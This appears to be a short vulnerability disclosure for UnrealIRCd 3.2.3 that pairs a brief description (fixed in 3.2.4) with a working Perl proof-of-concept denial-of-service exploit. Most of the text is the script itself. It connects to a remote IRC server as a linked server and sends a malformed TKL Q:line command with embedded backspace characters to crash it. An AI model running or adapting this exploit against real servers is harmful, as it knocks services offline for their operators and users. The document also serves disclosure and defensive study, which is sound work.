-Description-
UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for adding/removing Q:lines with special characters. Could be sent through services.
Fixed as of version 3.2.4

-PoC-
#!/usr/bin/perl

# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin@redneck.servebeer.com (Brandon Milner)

use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneck\n");

#################
#   Variables   #
#################
$spass = ("LinkPass");        # Link Password
$lserver = ("your.server.name");    # Local Server name
$rserver = ("remote.server.name");    # Link Server
$rport = (6667);                         # Link Port
$snum = (6);          # Server numeric

#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
  PeerAddr => $rserver,
  PeerPort => $rport,
  Proto => 'tcp',
);

#################
#    Connect    #
#################
die "Couldn't create socket to $rserver / $rport!\n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spass\n");
print ("PASS $spass\n");
print $sock ("SERVER $lserver 1 $snum :PoC by Redneck\n");
print ("SERVER $lserver 1 $snum :PoC by Redneck\n");
sleep 5;
print $sock ("TKL - q\x08Q *\x08PoC\n");
print ("TKL - q\x08Q *\x08PoC\n");
sleep 5;